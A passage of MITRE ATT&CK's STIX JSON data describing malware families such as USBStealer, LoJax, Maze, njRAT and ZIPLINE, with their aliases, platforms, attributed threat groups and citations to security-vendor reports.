"external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1015", "external_id": "S1015"}, {"source_name": "James", "description": "(Citation: Accenture Lyceum Targets November 2021)"}, {"source_name": "Accenture Lyceum Targets November 2021", "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns"}, {"source_name": "ClearSky Siamesekitten August 2021", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.", "url": "https://www.clearskysec.com/siamesekitten/"}, {"source_name": "Kaspersky Lyceum October 2021", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T22:17:40.838Z", "name": "USBStealer", "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.3", "x_mitre_aliases": ["USBStealer", "USB Stealer", "Win32/USBStealer"], "type": "malware", "id": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", "created": "2017-05-31T21:33:17.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0136", "external_id": "S0136"}, {"source_name": "ESET Sednit USBStealer 2014", "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:28:52.310Z", "name": "OSX_OCEANLOTUS.D", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a macOS backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First discovered in 2015, [APT32](https://attack.mitre.org/groups/G0050) has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can also determine it's permission level and execute according to access type (`root` or `user`).(Citation: Unit42 OceanLotus 2017)(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "x_mitre_platforms": ["macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "3.1", "x_mitre_aliases": ["OSX_OCEANLOTUS.D", "Backdoor.MacOS.OCEANLOTUS.F"], "type": "malware", "id": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "created": "2019-01-30T19:18:19.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0352", "external_id": "S0352"}, {"source_name": "Backdoor.MacOS.OCEANLOTUS.F", "description": "(Citation: Trend Micro MacOS Backdoor November 2020)"}, {"source_name": "OSX_OCEANLOTUS.D", "description": "(Citation: TrendMicro MacOS April 2018)"}, {"source_name": "Unit42 OceanLotus 2017", "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.", "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}, {"source_name": "TrendMicro MacOS April 2018", "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/"}, {"source_name": "Trend Micro MacOS Backdoor November 2020", "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.", "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["CCBkdr"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", "type": "malware", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0222", "external_id": "S0222"}, {"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", "source_name": "Talos CCleanup 2017"}, {"url": "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", "description": "Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.", "source_name": "Intezer Aurora Sept 2017"}], "modified": "2020-03-20T20:01:55.457Z", "name": "CCBkdr", "description": "[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. 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Retrieved August 4, 2021."}], "modified": "2021-10-16T02:03:14.543Z", "name": "NativeZone", "description": "[NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["NanoCore"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", "type": "malware", "created": "2019-01-29T20:05:35.952Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0336", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0336"}, {"source_name": "NanoCore", "description": "(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)"}, {"source_name": "DigiTrust NanoCore Jan 2017", "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/", "description": "The DigiTrust Group. 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[GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["GoldFinder"], "type": "malware", "id": "malware--b7010785-699f-412f-ba49-524da6033c76", "created": "2021-03-26T16:48:31.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0597", "external_id": "S0597"}, {"source_name": "GoldFinder", "description": "(Citation: MSTIC NOBELIUM Mar 2021)"}, {"source_name": "MSTIC NOBELIUM Mar 2021", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. 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[Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jean-Ian Boutin, ESET"], "x_mitre_aliases": ["LoJax"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--b865dded-0553-4962-a44b-6fe7863effed", "type": "malware", "created": "2019-07-02T12:58:09.598Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0397", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0397"}, {"source_name": "LoJax", "description": "(Citation: ESET LoJax Sept 2018)"}, {"description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf", "source_name": "ESET LoJax Sept 2018"}], "modified": "2020-03-30T16:57:58.594Z", "name": "LoJax", "description": "[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:47:11.431Z", "name": "Cardinal RAT", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Cardinal RAT"], "type": "malware", "id": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "created": "2019-01-30T16:39:53.573Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0348", "external_id": "S0348"}, {"source_name": "Cardinal RAT", "description": "(Citation: PaloAlto CardinalRat Apr 2017)"}, {"source_name": "PaloAlto CardinalRat Apr 2017", "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. 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Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-21T19:42:40.612Z", "name": "Calisto", "description": "[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. 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Retrieved February 8, 2024.", "url": "https://securelist.com/unveiling-nkabuse/111512/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-26T19:34:38.763Z", "name": "Pillowmint", "description": "[Pillowmint](https://attack.mitre.org/software/S0517) is a point-of-sale malware used by [FIN7](https://attack.mitre.org/groups/G0046) designed to capture credit card information.(Citation: Trustwave Pillowmint June 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Pillowmint"], "type": "malware", "id": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "created": "2020-07-27T14:06:29.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0517", "external_id": "S0517"}, {"source_name": "Trustwave Pillowmint June 2020", "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . 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(2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. 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(2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. 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(2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-17T14:40:59.636Z", "name": "PowGoop", "description": "[PowGoop](https://attack.mitre.org/software/S1046) is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) as their main loader.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Ozer Sarilar, @ozersarilar, STM"], "x_mitre_aliases": ["PowGoop"], "type": "malware", "id": "malware--c19d19ae-dd58-4584-8469-966bbeaa80e3", "created": "2022-09-29T15:44:58.517Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1046", "external_id": "S1046"}, {"source_name": "CYBERCOM Iranian Intel Cyber January 2022", "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.", "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"}, {"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T01:44:05.770Z", "name": "Kwampirs", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). [Kwampirs](https://attack.mitre.org/software/S0236) has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines.(Citation: Symantec Orangeworm April 2018) [Kwampirs](https://attack.mitre.org/software/S0236) has multiple technical overlaps with [Shamoon](https://attack.mitre.org/software/S0140) based on reverse engineering analysis.(Citation: Cylera Kwampirs 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_contributors": ["Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre"], "x_mitre_aliases": ["Kwampirs"], "type": "malware", "id": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0236", "external_id": "S0236"}, {"source_name": "Kwampirs", "description": "(Citation: Symantec Orangeworm April 2018)"}, {"source_name": "Cylera Kwampirs 2022", "description": "Pablo Rinc\u00f3n Crespo. (2022, January). The link between Kwampirs (Orangeworm) and Shamoon APTs. Retrieved February 8, 2024.", "url": "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf"}, {"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. 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Retrieved July 16, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)", "modified": "2022-07-29T19:44:21.016Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "GrimAgent", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["LookBack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "type": "malware", "created": "2021-03-01T14:07:36.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0582", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0582"}, {"source_name": "LookBack", "description": "(Citation: Proofpoint LookBack Malware Aug 2019)"}, {"source_name": "Proofpoint LookBack Malware Aug 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}, {"source_name": "Dragos TALONITE", "url": "https://www.dragos.com/threat/talonite/", "description": "Dragos. (null). TALONITE. Retrieved February 25, 2021."}, {"source_name": "Dragos Threat Report 2020", "url": "https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770", "description": "Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021."}], "modified": "2021-04-26T13:29:32.449Z", "name": "LookBack", "description": "[LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. 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(2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. 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(2022, February 4). ACTINIUM targets Ukrainian organizations. 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Retrieved August 26, 2021."}], "modified": "2021-08-26T16:39:07.873Z", "name": "Kinsing", "description": "[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. 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(2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India", "Tsubasa Matsuda, NEC Corporation"], "x_mitre_aliases": ["Meteor"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "malware", "id": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "created": "2022-03-07T19:08:55.858Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "S0688", "url": "https://attack.mitre.org/software/S0688"}, {"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-14T15:48:23.444Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Meteor", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:33:37.539Z", "name": "njRAT", "description": "[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. 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Retrieved June 4, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html"}, {"source_name": "Fidelis njRAT June 2013", "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf"}, {"source_name": "Trend Micro njRAT 2018", "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/"}, {"source_name": "Njw0rm", "description": "Some sources have discussed Njw0rm as a later variant of [njRAT](https://attack.mitre.org/software/S0385), where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of [njRAT](https://attack.mitre.org/software/S0385) itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-01T19:26:04.144Z", "name": "ZIPLINE", "description": "[ZIPLINE](https://attack.mitre.org/software/S1114) is a passive backdoor that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) on compromised Secure Connect VPNs for reverse shell and proxy functionality.(Citation: Mandiant Cutting Edge January 2024)", "x_mitre_platforms": ["Network"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["ZIPLINE"], "type": "malware", "id": "malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864", "created": "2024-03-01T19:25:32.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1114", "external_id": "S1114"}, {"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Center for Threat-Informed Defense (CTID)", "SarathKumar Rajendran, Trimble Inc"], "x_mitre_aliases": ["Maze"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "type": "malware", "created": "2020-05-18T16:17:59.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0449", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0449"}, {"source_name": "FireEye Maze May 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."}, {"source_name": "McAfee Maze March 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}, {"source_name": "Sophos Maze VM September 2020", "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}], "modified": "2022-01-24T17:01:08.605Z", "name": "Maze", "description": "[Maze](https://attack.mitre.org/software/S0449) ransomware, previously known as \"ChaCha\", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [Maze](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Christopher Glyer, Mandiant, @cglyer"], "x_mitre_aliases": ["BOOTRASH"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3", "type": "malware", "created": "2017-05-31T21:33:08.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0114", "external_id": "S0114"}, {"source_name": "Mandiant M Trends 2016", "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."}, {"url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html", "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", "source_name": "FireEye Bootkits"}, {"source_name": "FireEye BOOTRASH SANS", "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf", "description": "Glyer, C.. (2017, June 22). Boot What?. Retrieved May 4, 2020."}], "modified": "2021-06-09T18:58:41.760Z", "name": "BOOTRASH", "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T03:30:00.985Z", "name": "ComRAT", "description": "[ComRAT](https://attack.mitre.org/software/S0126) is a second stage implant suspected of being a descendant of 